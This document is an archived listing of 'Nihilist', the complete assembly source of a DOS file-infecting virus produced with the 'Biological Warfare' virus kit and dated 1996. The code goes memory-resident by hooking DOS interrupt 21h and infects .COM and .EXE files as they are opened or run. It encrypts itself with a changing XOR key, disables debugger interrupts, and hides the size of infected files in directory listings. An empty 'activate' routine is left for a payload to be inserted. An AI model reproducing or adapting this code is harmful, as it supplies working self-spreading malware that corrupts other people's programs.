home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / NIHILIST.ASM < prev    next >
Assembly Source File  |  1996-04-29  |  16KB  |  474 lines

  1. ; nihilist.asm : [Nihilist]
  2. ; Created with Biological Warfare - Version 0.90ß by MnemoniX
  3.  
  4. PING            equ     0D86Bh
  5. PONG            equ     043C4h
  6. STAMP           equ     25
  7. MARKER          equ     0F0FFh
  8.  
  9. code            segment
  10.                 org     0
  11.                 assume  cs:code,ds:code
  12.  
  13. start:
  14.                 db      0E9h,3,0          ; to virus
  15. host:
  16.                 db      0CDh,20h,0        ; host program
  17. virus_begin:
  18.  
  19.                 mov     dx,VIRUS_SIZE / 2 + 1
  20.                 db      0BBh                    ; decryption module
  21. code_offset     dw      offset virus_code
  22.  
  23. decrypt:
  24.                 db      02Eh,081h,37h           ; XOR CS:[BX]
  25. cipher          dw      0
  26.                 inc     bx
  27.                 inc     bx
  28.                 dec     dx
  29.                 jnz     decrypt
  30.  
  31.  
  32. virus_code:
  33.                 push    ds es
  34.  
  35.                 call    $ + 3             ; BP is instruction ptr.
  36.                 pop     bp
  37.                 sub     bp,offset $ - 1
  38.  
  39.                 xor     ax,ax             ; mild anti-trace code
  40.                 mov     es,ax             ; kill interrupts 1 & 3
  41.                 mov     di,6
  42.                 stosw
  43.                 mov     di,14
  44.                 stosw
  45.  
  46.                 in      al,21h            ; lock out & reopen keyboard
  47.                 xor     al,2
  48.                 out     21h,al
  49.                 xor     al,2
  50.                 out     21h,al
  51.  
  52.                 mov     ax,PING           ; test for residency
  53.                 int     21h
  54.                 cmp     cx,PONG
  55.                 je      installed
  56.  
  57.                 mov     ax,es                   ; Get PSP
  58.                 dec     ax
  59.                 mov     ds,ax                   ; Get MCB
  60.  
  61.                 sub     word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
  62.                 sub     word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
  63.                 mov     es,word ptr ds:[12h]
  64.  
  65.                 push    cs                      ; copy virus into memory
  66.                 pop     ds
  67.                 xor     di,di
  68.                 mov     si,bp
  69.                 mov     cx,(virus_end - start) / 2 + 1
  70.                 rep     movsw
  71.  
  72.                 xor     ax,ax                   ; capture interrupts
  73.                 mov     ds,ax
  74.  
  75.                 mov     si,21h * 4              ; get original int 21
  76.                 mov     di,offset old_int_21
  77.                 movsw
  78.                 movsw
  79.  
  80.                 mov     word ptr ds:[si - 4],offset new_int_21
  81.                 mov     ds:[si - 2],es          ; and set new int 21
  82.  
  83. installed:
  84.                 call    activate                ; activation routine
  85.  
  86.                 pop     es ds                   ; restore segregs
  87.                 cmp     sp,MARKER               ; check for .EXE
  88.                 je      exe_exit
  89.  
  90. com_exit:
  91.                 lea     si,[bp + host]          ; restore host program
  92.                 mov     di,100h
  93.                 push    di
  94.                 movsw
  95.                 movsb
  96.  
  97.                 call    fix_regs                ; fix up registers
  98.                 ret                             ; and leave
  99. exe_exit:
  100.                 mov     ax,ds                   ; fix up return address
  101.                 add     ax,10h
  102.                 push    ax
  103.                 add     ax,cs:[bp + exe_cs]
  104.                 mov     cs:[bp + return_cs],ax
  105.  
  106.                 mov     ax,cs:[bp + exe_ip]
  107.                 mov     cs:[bp + return_ip],ax
  108.  
  109.                 pop     ax
  110.                 add     ax,cs:[bp + exe_ss]        ; restore stack
  111.                 cli
  112.                 mov     ss,ax
  113.                 mov     sp,cs:[bp + exe_sp]
  114.  
  115.                 call    fix_regs                ; fix up registers
  116.                 sti
  117.  
  118.                 db      0EAh                    ; back to host program
  119. return_ip       dw      0
  120. return_cs       dw      0
  121.  
  122. exe_cs          dw      -16                     ; orig CS:IP
  123. exe_ip          dw      103h
  124. exe_sp          dw      -2                      ; orig SS:SP
  125. exe_ss          dw      -16
  126.  
  127. fix_regs:
  128.                 xor     ax,ax
  129.                 cwd
  130.                 xor     bx,bx
  131.                 mov     si,100h
  132.                 xor     di,di
  133.                 xor     bp,bp
  134.                 ret
  135.  
  136. ; interrupt 21 handler
  137. int_21:
  138.                 pushf
  139.                 call    dword ptr cs:[old_int_21]
  140.                 ret
  141.  
  142. new_int_21:
  143.                 cmp     ax,PING                 ; residency test
  144.                 je      ping_pong
  145.                 cmp     ah,11h                  ; directory stealth
  146.                 je      dir_stealth
  147.                 cmp     ah,12h
  148.                 je      dir_stealth
  149.                 cmp     ah,4Eh                  ; directory stealth
  150.                 je      dir_stealth_2
  151.                 cmp     ah,4Fh
  152.                 je      dir_stealth_2
  153.                 cmp     ah,3Dh                  ; file open
  154.                 je      file_open
  155.                 cmp     ax,4B00h                ; execute program
  156.                 jne     int_21_exit
  157.                 jmp     execute
  158. int_21_exit:
  159.                 db      0EAh                    ; never mind ...
  160. old_int_21      dd      0
  161.  
  162. ping_pong:
  163.                 mov     cx,PONG
  164.                 iret
  165.  
  166. dir_stealth:
  167.                 call    int_21                  ; get dir entry
  168.                 test    al,al
  169.                 js      dir_stealth_done
  170.  
  171.                 push    ax bx es
  172.                 mov     ah,2Fh
  173.                 int     21h
  174.  
  175.                 cmp     byte ptr es:[bx],-1     ; check for extended FCB
  176.                 jne     no_ext_FCB
  177.                 add     bx,7
  178. no_ext_FCB:
  179.                 mov     ax,es:[bx + 17h]        ; check for infection marker
  180.                 and     al,31
  181.                 cmp     al,STAMP
  182.                 jne     dir_fixed
  183.  
  184.                 sub     word ptr es:[bx + 1Dh],VIRUS_SIZE + 3
  185.                 sbb     word ptr es:[bx + 1Fh],0
  186. dir_fixed:
  187.                 pop     es bx ax
  188. dir_stealth_done:
  189.                 iret
  190.  
  191. dir_stealth_2:
  192.                 pushf
  193.                 call    dword ptr cs:[old_int_21]
  194.                 jc      dir_stealth_done_2
  195.  
  196. check_infect2:
  197.                 push    ax bx es
  198.  
  199.                 mov     ah,2Fh
  200.                 int     21h
  201.                 mov     ax,es:[bx + 16h]
  202.                 and     al,31                   ; check timestamp
  203.                 cmp     al,STAMP
  204.                 jne     fixed_2
  205.  
  206.                 sub     es:[bx + 1Ah],VIRUS_SIZE + 3
  207.                 sbb     word ptr es:[bx + 1Ch],0
  208.  
  209. fixed_2:
  210.                 pop     es bx ax
  211.                 clc                             ; clear carry
  212. dir_stealth_done_2:
  213.                 retf    2
  214.  
  215. file_open:
  216.                 push    ax cx di es
  217.                 call    get_extension
  218.                 cmp     [di],'OC'               ; .COM file?
  219.                 jne     perhaps_exe             ; perhaps .EXE then
  220.                 cmp     byte ptr [di + 2],'M'
  221.                 jne     not_prog
  222.                 jmp     a_program
  223. perhaps_exe:
  224.                 cmp     [di],'XE'               ; .EXE file?
  225.                 jne     not_prog
  226.                 cmp     byte ptr [di + 2],'E'
  227.                 jne     not_prog
  228. a_program:
  229.                 pop     es di cx ax
  230.                 jmp     execute                 ; infect file
  231. not_prog:
  232.                 pop     es di cx ax
  233.                 jmp     int_21_exit
  234.  
  235. execute:
  236.                 push    ax bx cx dx si di ds es
  237.  
  238.                 call    get_extension           ; check filename
  239.                 cmp     es:[di - 3],'DN'        ; skip if COMMAND
  240.                 jne     open_file
  241.                 jmp     cant_open
  242.  
  243. open_file:
  244.                 xor     ax,ax                   ; critical error handler
  245.                 mov     es,ax                   ; routine - catch int 24
  246.                 mov     es:[24h * 4],offset int_24
  247.                 mov     es:[24h * 4 + 2],cs
  248.  
  249.                 mov     ax,4300h                ; change attributes
  250.                 int     21h
  251.  
  252.                 push    cx dx ds
  253.                 xor     cx,cx
  254.                 call    set_attributes
  255.  
  256.                 mov     ax,3D02h                ; open file
  257.                 call    int_21
  258.                 jc      cant_open
  259.                 xchg    bx,ax
  260.  
  261.                 push    cs                      ; CS = DS
  262.                 pop     ds
  263.  
  264.                 mov     ax,5700h                ; save file date/time
  265.                 int     21h
  266.                 push    cx dx
  267.                 mov     ah,3Fh
  268.                 mov     cx,28
  269.                 mov     dx,offset read_buffer
  270.                 int     21h
  271.  
  272.                 cmp     word ptr read_buffer,'ZM' ; .EXE?
  273.                 je      infect_exe              ; yes, infect as .EXE
  274.  
  275.                 mov     al,2                    ; move to end of file
  276.                 call    move_file_ptr
  277.  
  278.                 cmp     dx,65279 - (VIRUS_SIZE + 3)
  279.                 ja      dont_infect             ; too big, don't infect
  280.  
  281.                 sub     dx,VIRUS_SIZE + 3       ; check for previous infection
  282.                 cmp     dx,word ptr read_buffer + 1
  283.                 je      dont_infect
  284.  
  285.                 add     dx,VIRUS_SIZE + 3
  286.                 mov     word ptr new_jump + 1,dx
  287.  
  288.                 add     dx,103h
  289.                 call    encrypt_code            ; encrypt virus
  290.  
  291.                 mov     dx,offset read_buffer   ; save original program head
  292.                 int     21h
  293.  
  294.                 mov     ah,40h                  ; write virus to file
  295.                 mov     cx,VIRUS_SIZE
  296.                 mov     dx,offset encrypt_buffer
  297.                 int     21h
  298.  
  299.                 xor     al,al                   ; back to beginning of file
  300.                 call    move_file_ptr
  301.  
  302.                 mov     dx,offset new_jump      ; and write new jump
  303.                 int     21h
  304.  
  305. fix_date_time:
  306.                 pop     dx cx
  307.                 and     cl,-32                  ; add time stamp
  308.                 or      cl,STAMP
  309.                 mov     ax,5701h                ; restore file date/time
  310.                 int     21h
  311.  
  312. close:
  313.                 pop     ds dx cx                ; restore attributes
  314.                 call    set_attributes
  315.  
  316.                 mov     ah,3Eh                  ; close file
  317.                 int     21h
  318.  
  319. cant_open:
  320.                 pop     es ds di si dx cx bx ax
  321.                 jmp     int_21_exit             ; leave
  322.  
  323.  
  324. set_attributes:
  325.                 mov     ax,4301h
  326.                 int     21h
  327.                 ret
  328.  
  329. dont_infect:
  330.                 pop     cx dx                   ; can't infect, skip
  331.                 jmp     close
  332.  
  333. move_file_ptr:
  334.                 mov     ah,42h                  ; move file pointer
  335.                 cwd
  336.                 xor     cx,cx
  337.                 int     21h
  338.  
  339.                 mov     dx,ax                   ; set up registers
  340.                 mov     ah,40h
  341.                 mov     cx,3
  342.                 ret
  343. infect_exe:
  344.                 cmp     word ptr read_buffer[26],0
  345.                 jne     dont_infect             ; overlay, don't infect
  346.  
  347.                 cmp     word ptr read_buffer[16],MARKER
  348.                 je      dont_infect             ; infected already
  349.  
  350.                 les     ax,dword ptr read_buffer[20]
  351.                 mov     exe_cs,es               ; CS
  352.                 mov     exe_ip,ax               ; IP
  353.  
  354.                 les     ax,dword ptr read_buffer[14]
  355.                 mov     exe_ss,ax               ; SS
  356.                 mov     exe_sp,es               ; SP
  357.                 mov     word ptr read_buffer[16],MARKER
  358.  
  359.                 mov     ax,4202h                ; to end of file
  360.                 cwd
  361.                 xor     cx,cx
  362.                 int     21h
  363.  
  364.                 push    ax dx                   ; save file size
  365.  
  366.                 push    bx
  367.                 mov     cl,12                   ; calculate offsets for CS
  368.                 shl     dx,cl                   ; and IP
  369.                 mov     bx,ax
  370.                 mov     cl,4
  371.                 shr     bx,cl
  372.                 add     dx,bx
  373.                 and     ax,15
  374.                 pop     bx
  375.  
  376.                 sub     dx,word ptr read_buffer[8]
  377.                 mov     word ptr read_buffer[22],dx
  378.                 mov     word ptr read_buffer[20],ax
  379.                 add     dx,100
  380.                 mov     word ptr read_buffer[14],dx
  381.  
  382.                 pop     dx ax                   ; calculate prog size
  383.  
  384.                 add     ax,VIRUS_SIZE + 3
  385.                 adc     dx,0
  386.                 mov     cx,512                  ; in pages
  387.                 div     cx                      ; then save results
  388.                 inc     ax
  389.                 mov     word ptr read_buffer[2],dx
  390.                 mov     word ptr read_buffer[4],ax
  391.                 mov     dx,word ptr read_buffer[20]
  392.                 call    encrypt_code            ; encrypt virus
  393.  
  394.  
  395.                 mov     ah,40h
  396.                 mov     cx,VIRUS_SIZE + 3
  397.                 mov     dx,offset encrypt_buffer
  398.                 int     21h
  399.  
  400.  
  401.                 mov     ax,4200h                ; back to beginning
  402.                 cwd
  403.                 xor     cx,cx
  404.                 int     21h
  405.  
  406.                 mov     ah,40h                  ; and fix up header
  407.                 mov     cx,28
  408.                 mov     dx,offset read_buffer
  409.                 int     21h
  410.                 jmp     fix_date_time           ; done
  411.  
  412. courtesy_of     db      '[BW]',0
  413. signature       db      '[Nihilist]',0
  414.  
  415.  
  416. activate:
  417.        ; Insert your routine here
  418.                 ret
  419. get_extension:
  420.                 push    ds                      ; find extension
  421.                 pop     es
  422.                 mov     di,dx
  423.                 mov     cx,64
  424.                 mov     al,'.'
  425.                 repnz   scasb
  426.                 ret
  427.  
  428. encrypt_code:
  429.                 push    ax cx
  430.  
  431.                 push    dx
  432.                 xor     ah,ah                   ; get time for random number
  433.                 int     1Ah
  434.  
  435.                 mov     cipher,dx               ; save encryption key
  436.                 pop     cx
  437.                 add     cx,virus_code - virus_begin
  438.                 mov     code_offset,cx          ; save code offset
  439.  
  440.                 push    cs                      ; ES = CS
  441.                 pop     es
  442.  
  443.                 mov     si,offset virus_begin   ; move decryption module
  444.                 mov     di,offset encrypt_buffer
  445.                 mov     cx,virus_code - virus_begin
  446.                 rep     movsb
  447.  
  448.                 mov     cx,VIRUS_SIZE / 2 + 1
  449. encrypt:
  450.                 lodsw                           ; encrypt virus code
  451.                 xor     ax,dx
  452.                 stosw
  453.                 loop    encrypt
  454.  
  455.                 pop     cx ax
  456.                 ret
  457.  
  458. int_24:
  459.                 mov     al,3                    ; int 24 handler
  460.                 iret
  461. new_jump        db      0E9h,0,0
  462.  
  463. virus_end:
  464. VIRUS_SIZE      equ     virus_end - virus_begin
  465. read_buffer     db      28 dup (?)              ; read buffer
  466. encrypt_buffer  db      VIRUS_SIZE dup (?)      ; encryption buffer
  467.  
  468. end_heap:
  469.  
  470. MEM_SIZE        equ     end_heap - start
  471.  
  472. code            ends
  473.                 end     start
  474.